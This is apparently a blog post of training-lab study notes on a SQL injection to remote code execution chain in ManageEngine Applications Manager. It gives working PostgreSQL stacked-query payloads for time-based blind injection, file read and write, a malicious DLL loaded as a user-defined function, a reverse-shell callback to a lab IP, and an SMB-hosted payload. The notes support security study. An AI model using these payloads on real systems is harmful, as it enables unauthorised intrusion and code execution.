None

R3zk0n · October 2, 2025

Contents

    6. ManageEngine Applications Manager SQL Injection RCE

    	ManageEngine => Application performance monitoring solution
    
    	.do extension ==> URL mapping scheme for compiled Java code
    
    	Use procexp + properties to find the Java process to exploit and the directory location (such as \working)
    
    	WEB-INF: Java default web configuration folder path
    	web.xml: URL to servlet mapping
    
    	WEB-INF\lib => contains native application code and third party compiled java files
    
    	Use a decompiler like #JD-GUI to recover the original java source code and save the file
    	Use #NotePad++ to read
    
    	xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d: /u: /p: /v:manageengine /u:Administrator /p:studentlab /size:1180x708
    

    Finding SQL Injections in Java code

    	^.*query.*?select.*?where.*?\+.*?\; /** regex to search for sql queries => too many results so might not work
    	/** java http request handlers - can start with GET and POST*/
    	doGet, doPost, doPut, doDelete, doCopy, doOptions
    
    	/** in this case look for SQL injection via string concatenation that is not adequately filtered => AMUserResourcesSyncServlet class
    
    	Enable debugging for SQL injection
    	C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\postgresql.conf
    
    	Change to log_statement = 'all'
    	Restart the service using services.msc from Run command
    
    	Log file location
    	C:\Program Files (x86)\ManageEngine\AppManager12\working\pgsql\data\amdb\pgsql_log\
    
    	Use pgAdmin frontend for postgresql located on the server to interact and send SQL queries directly to the application => pgCatalogs
    
    	psql.exe -U postgresql -p 15432
    

    Triggering the Vulnerability

    	Use web.xml to find URL mapping in Java located in:
    	C:\Program Files (x86)\ManageEngine\AppManager12\working\WEB-INF
    
    	GET https://192.168.144.113:8443/servlet/AMUserResourcesSyncServlet?forMasRange=1&userId=1%3b
    
    	Observe error in logs, but not shown in application
    	For further exploitation, consider:
    		+ UNION query to extract information from database (Downside: can only extract same type BIGINT)
    		+ UNION query + Boolean-based blind to ask TRUE or FALSE questions
    		+ Stacked Queries (Downside: Returns two sets of results and need to use time-based blind to compensate)
    			+ `?forMasRange=1&userId=1%3bselect+pg_sleep(10)
    

    How Houdini Escapes

    	Certain characters cannot be used because of HTML encoding => `'` becomes &#x27
    	Cannot use concat ASCII to hexidecimal values for postgres as escape mechanism
    

    ```sql (string transformation) select convert_from(decode(‘QVdBRQ==’, ‘base64’), ‘utf-8’); # this still requires quotes

    # CHR and string concatenation
    SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); # result = AWAE; only works for basic queries such as SELECT, INSERT and UPDATE but not COPY
    
    
    CREATE TABLE AWAE (offsec text); INSERT INTO AWAE(offsec) VALUES (CHR(65)||CHR(87)||CHR(65)||CHR(69));
    SELECT * from AWAE; # result = AWAE
    
    CREATE TABLE AWAE (offsec text);
    INSERT INTO AWAE(offsec) VALUES (CHR(65)||CHR(87)||CHR(65)||CHR(69));
    COPY AWAE (offsec) TO CHR(99)||CHR(58)||CHR(92)||CHR(92)||CHR(65)||CHR(87)||CHR(65)||CHR(69)); # result = ERROR: syntax error
    
    # Using dollar-quoted string constants
    # https://www.postgresql.org/docs/9.2/sql-syntax-lexical.html
    SELECT 'AWAE';
    SELECT $$AWAE$$;
    SELECT $TAG$AWAE$TAG$; # using tags
    
    # copy command
    CREATE TEMP TABLE AWAE(offsec text);INSERT INTO AWAE(offsec) VALUES ($$test$$);
    COPY AWAE(offsec) TO $$C:\Program Files (x86)\PostgreSQL\9.2\data\test.txt$$;
    # break down:
    # create a temporary table called AWAE with offsec as a text row
    # insert into the offsec column 'test'
    # copy the table to an output file in the respective location ``` Blind Bats ```sql
    SELECT current_setting('is_superuser'); # enumerate our current privileges
    ";SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+" # payload in time-based injection
    ";create+temp+table+awae+(content+text);copy+awae+from+$$c:\awae.txt$$;select+case+when(ascii(substr((select+content+from+awae),1,1))=104)+then+pg_sleep(10)+end;--+" # payload for reading files on system
    ";COPY+(SELECT+$$offsec$$)+to+$$c:\\offsec.txt$$;--+" # payload for writing files to system
    
    # Reading files using stacked queries
    CREATE temp table awae (content text);
    COPY awae from $$c:\awae.txt$$;
    SELECT content from awae;
    DROP table awae;
    
    # Writing files to system
    COPY (SELECT $$offsec$$) to $$c:\\offsec.txt$$; # cannot transfer binary files as bytea limitations ``` PostgreSQL Extensions ```sql
    # instead of using file execution, we can load local library to enable RCE
    CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'test' LANGUAGE 'C' STRICT; # requires magic block or else fail to load extension libraries
    
    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'C:\\Windows\\System32\\kernel32.dll', 'WinExec' LANGUAGE C STRICT; ``` ```sql (User-defined Functions (UDF) to RCE (Network Only)
    # 1. Create a malicious DLL with postgres magic block and compile the project solution
    # 2. Execute the user-defined function (UDF) test to load the malicious DLL and execute a program (and instances)
    	create or replace function test(text, integer) returns void as $$C:\Users\Administrator\source\repos\awae\Release\awae.dll$$, $$awae$$ language C strict;
    	SELECT test($$calc.exe$$, 3);
    
    	# For remote shell:
    	hax.sin_port = htons(4444);
    	hax.sin_addr.s_addr = inet_addr("192.168.119.173");
    # 3. Clean up
    	C:\> del c:\awae.dll
    	DROP FUNCTION test(text, integer);
    # 4. Network hosting of DLL for UDF import
    	sudo impacket-smbserver awae /home/kali/awae/
    	create or replace function test(text, integer) returns void as $$\\\\[location]\\awae\\awae.dll$$, $$awae$$ language C strict;
    # 5. Use Python script for automation ``` ```sql (User-defined Functions (UDF) to RCE via Large Objects)
    # 1. Create large object that will hold binary payload (DLL) using commands
    	select lo_import('C:\\Windows\\win.ini'); --> Using lo_import
    	\lo_list --> List of large objects
    
    	select lo_import('C:\\Windows\\win.ini', 1337); --> Define arbitrary loid values
    
    	select loid, pageno from pg_largeobject;
    	select loid, pageno, encode(data, 'escape') from pg_largeobject; --> encode binary data into visual representation
    
    	update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0; --> changing the value of the file to something malicious
    	select lo_export(1337, 'C:\\new_win.ini'); --> export object to file
    
    	\lo_unlink 1337 --> deleting objects
    # 2. Use POC code to inject lines into large object in Hex format
    	with open("/home/kali/awae/rev_shell.dll", "rb") as f:
        content = f.read()
        udf = binascii.hexlify(content) --> requires import binascii ```
    

    Twitter, Facebook